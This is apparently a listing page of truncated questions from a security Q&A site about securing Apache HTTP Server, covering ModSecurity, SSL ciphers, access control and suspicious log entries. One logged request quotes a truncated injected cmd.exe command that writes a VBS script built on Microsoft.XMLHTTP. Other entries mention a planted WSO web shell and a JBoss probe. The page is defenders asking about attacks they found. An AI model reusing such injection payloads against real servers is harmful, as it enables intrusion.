Questions about the security of Apache open source software, especially Apache HTTP Server

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Mysql Virtual IP and timeout

What are the risk that I encounter when increasing the timeout of a vip between a web server (apache) and mysql cluster (two servers). Actually it is set to 5 minutes. If time_out was 1hour, knowing ...
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Strange bug in ModSecurity with the rule 950901

I have a classic ModSecurity configuration (apt-get...) SecRuleEngine Off SecPcreMatchLimit 1000 SecPcreMatchLimitRecursion 1000 SecAction "phase:1,t:none,nolog,pass, \ ...
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trackback spotted in multple http errors

[Sun May 11 12:24:46 2014] [error] [client private ip] [X_FORWARDED_FOR 27.159.207.165] Path not found: /contact_us_public.php/trackback/, referer: http://www.mydomain.net/contact_us_public.php Does ...
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How to manage security for multiple PC and VM?

I have a firewall VM which creates I have used to setup subnet for different purposes. For example: (fake ips, of course) 1.1.2.1/24 DMZ 1.1.3.1/24 Internal 1.1.5.1/24 security/logging I use ...
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Nessus scanner and Red Hat backport security updates

I have asked this question: False positive Apache version in scanner results on Centos I need additional clarification: Do you know if it is possible to configure Nessus to adopt Red Hat backport ...
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How to Minimize Apache Loadable Modules (serving MediaWiki)

According to Guide to the Secure Configuration of Red Hat Enterprise Linux 6, there is this policy: "In certain scenarios, it is beneficial to remove certain httpd modules to limit the functionality ...
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WSO 2.5 Found on Apache

I have found on my web server the file wp-conf.php which when you call it from the browser with a url parameter like wp-conf.php?t7831n=any value shows an interface where you can control the entire ...
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How Do I Secure Apache Web Server [duplicate]

Possible Duplicate: Apache Server Hardening I'm going to make a web server on Apache 2. What are the security issue I will be looking at? And how do I secure it? I have been reading news ...
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Weird IP addresses showing up on my server

I have a personal server located in the US, I use it to execute code which requires a lot of resources. I sometimes have apache running on my server, to test php code. I recently left my apache server ...
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Running Apache as system service on Windows 2003 R2 64-bit

Trying to make my point, that running Apache with PHP5 module as Windows service is not secure. All I got to prove it - FTP access to some internal website. So what I did - I uploaded file test.php ...
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How to prevent Cookie-Bombs?

Egor Homakov made a nice writeup (Cookie Bomb or let's break the Internet) on how to crash CDNs and other websites with cookies. Although this is a user/browser-side DOS, I'm wondering how one would ...
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suspicious http request in logs

I found this request in my Ubuntu 14.04 apache2 access.log: xxx.228.207.244 - - [25/Sep/2014:17:52:03 -0400] "GET ...
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How to filter POST requests before they reach PHP on Apache?

I have done URL filtering with .htaccess (using learning and generator), however I am still concerned that any POST request can be submitted to the PHP even there is only one POST form on the website, ...
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Security risk of using virtual hosts for public and internal sites

I have an Apache server which hosts a public website and an internal website. However, since Apache denotes virtual hosts based on the Host HTTP header, couldn't someone on the Internet request my ...
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Clarifying MITM attacks and Digital Certificate requirement

We are running a Portal application for our client with Payment Gateway integrated. Payment gateway uses SSL as it is suppose to be . The concern for me is that our Portal application does not use ...
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Dangers of PHP uploading word docs into a quarantine

I plan to write a PHP script which will allow web users to upload MS Word formatted docs. Here are the precautions I am taking: Filenames will be created by me (something like YYYY-MM-DD.doc) Files ...
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Prevent a server side script from a direct URL access

There is a server side script written in php(say backend_file.php) or coldfusion(say backend_file.cfm). Lets say, i am using Apache and I have a sample web folder (on my Localhost) like: ...
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501 Not Implemented ServerInfo.jsp

I looked at my logs from amazon ec2 instance and found the following lines: 94.177.121.102 - - [29/Mar/2014:08:50:52 +0000] "XGET /web-console/ServerInfo.jsp HTTP/1.0" 501 418 "-" "-" 94.177.121.102 ...
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Lots of bot hits, referer seems to be the variable

I've recently (over the last 15 minutes) had quite a few hits from the same IP, it's in a country on our blacklist so they just up up on our "Access Denied" page, but I was just interested in what ...
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“Must have” and “Preferred Cipher” suites terminology

I have received the following advise to set cipher suites to suitably mitigate Beast attack on a newly setup Apache HTTPD server. Preferred ciphers: RC4-SHA, RC4-MD5 Must Have Ciphers: ...
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How to find vulnerable sites on a web server

A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds. Now his server keeps getting infected on a regular basis. The webhost / server admins keep digging in the dark. ...
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How to protect files (cron files) frome being executed by everyone?

I wonder what read / write permissions should I set on my cron files (php files) so they can be executed only by our server. We're using CentOS 5.9 - 64bit and cPanel / WHM + Apache. Thanks!
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Is there an easy way to secure Apache on debian?

I run an Apache webserver with lots of PHP-sites of several customers. I tried install apache-mod_security2 after this (german) tutorial that is using these rulesets: ...
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apache rewriterule htaccess security

If I configure an .htaccess like this : RewriteEngine On RewriteRule ^([^/]*)$ /view.php?key=$1 [L] Which transforms original URL http://www.test.com/view.php?key=123 rewritten URL ...
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is HttpOnly and Secure cookie enough to prevent CSRF in rest api?

I created one RESTful API using spring. I am transmitting a secret key as HttpOnly & Secure cookie with login response. After login every rest request will check with that cookie and update it ...
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cross-signed end-entity certificates: usage in apache/openssl/gnutls

A previous question, What is the use of cross signing certificates in X.509? described cross-signed certificates well. I have a situation where the clients trust CA1 xor CA2, and both need to reach a ...
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Securing apache by IP with .htaccess

I have a folder that I don't want to be accessible from outside my network's LAN. It seems like all traffic from the outside world goes through my firewall (192.168.1.39). So I made my .htaccess as ...
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how to block ip from head or ping or get or post to webserver (using apache and windows)?

am using apache 2.4.9 latest with windows 7 i am using some modules like limitipconn_module security2_module but using wireshark i get unlimited request to busy my webserver (DOS) from some ip ...
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Apache redirecting to unsecure port

I have setup a test website in order to play around setting up SSL. The website is setup on a Windows host with Apache 2.2.20 with OpenSSL 0.9.8r, MySQL 5.5.37, PHP 5.3.28. The URL to the home page ...
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Are there any exploits in Movable Type that allow the attacker to delete the movable type files?

I'm a developer for a web site; we have a small blog powered by Movable Type that we added a few years ago. The blog doesn't get a lot of traffic or attention; we just noticed a couple of days ago ...
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Apache 2.2 mod_ssl configuration Forward Secrecy/BREACH/BEAST/CRIME

I am looking for mod_ssl configuration which protects against common attacks like Breach, Beast and Crime. I already disabled gzip to avoid Crime but I'm unsure about the others. RC4 should only be ...
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Does the Heartbleed vulnerability affect signed java applets [closed]

I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web ...
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Security implications of putting virtual hosts source code in /var/www/[domain]

A friend pointed out that putting virtual hosts as sub folders of the default /var/www was a bad idea. (linux example path; this applies to all OS) I see that it's possible to reach the virtual hosts ...
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How does a website get pass my server firewall and attempt to hotlink to my server resources?

I was stumped when I saw the following lines on my Apache server error log this morning: [authz_core:error] [client ::1:37317] AH01630: client denied by server configuration: ...
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Abusing write permission on Apache logs dir to escalete privileges

I have just come across this sentence on apache log files documentation: Anyone who can write to the directory where Apache is writing a log file can almost certainly gain access to the uid that ...
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My Apache log is kind of freaking me out [closed]

So, last night I looked at the Apache log of my shared hosting account for the first time. There was quite a lot of traffic that looked suspicious, specifically a lot of GET request from a domain, ...
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Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
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What security concerns exist in running a glassfish app directly on port 443

I have installed Apache http server in front of glassfish based on recommendations i had in this question. I have been told that i will run into performance problems along with security issues. I was ...
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How bad of a practice is it to mount tomcat's manager to Apache2?

If we take into account only security concerns, how bad of a practice is it to mount tomcat's manager to Apache2. E.g.,: JkMount /manager/html* ajp13_worker I'm doing this because my company has ...
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Mod_security rules-updater.pl fails to pull new release

Mod_security has a rules updater distributed with their release packages on sourceforge: http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/ Usually, you can run the script ...
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How can I stop rails exposing its routes?

Today my site was probed maliciously. I have searched through the knowledge base for advice on how to block cg-bin requests but have not been able to find specific advice. A portion of the log of the ...
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Hostname based Access Controls from clients with shared IPs

I have been pondering this question for some time now: Can you really use hostnames as access controls, especially when clients might be behind proxies or routers performing NAT (or any other shared ...
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What is the most effective way to block IP address in Application Layer? [migrated]

I understand that most Routers/Firewalls are able to block IP tables in the network level. IPtables for instance is quite effective. However, I want an application layer IP block.I have an HAproxy ...
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Does GHOST (CVE-2015-0235) affect tomcat 7 with Java Secure Sockets Extension SSL?

If your system has certain versions (2.2 - 2.17) of glibc then it has the GHOST vulnerability. However, an attacker who does not otherwise have access to your system cannot take advantage of that ...
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Can't get my SSL CA to work with Apache

So I have an SSL enabled website running on Apache2. https://eamorr.com (I get a warning in my browser, as expected) I have a config file for this website at: ...
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HTTPS enable for proxy server or web server

Say I have 2 separated servers which are one web server (apache) and one proxy server (nginx), I want to use HTTPS for the website running on the Apache. Do I enable SSL on apache or nginx or both? ...
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ssl client authentication: check only one certificate VS certs signed from a ca

i'm about to secure a webservice with client authentication. (apache2, mod_ssl, openssl). from what i googled, i found that it's more common to have a ca, which signs the client certs, which will ...
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Strange activity on Apache httpd access log [duplicate]

I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete ...
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Apache Server Maintains HTTPS Connection To Mysterious Server (Hijacking?)

I've been on a shared webhosting plan for 10 years and I recently moved all of my sites (various WordPress sites and associated plugins, all in PHP, a MediaWiki site, and a lot of static stuff) to my ...
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Is this new hack attempt something to worry about?

- - [22/Sep/2014:13:54:24 -0600] "GET /?search==%00{.exec|cmd.exe +%2Fc +echo%3E22222.vbs +dim +wait%2Cquit%2Cout%3ASet +xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet +WshShell ...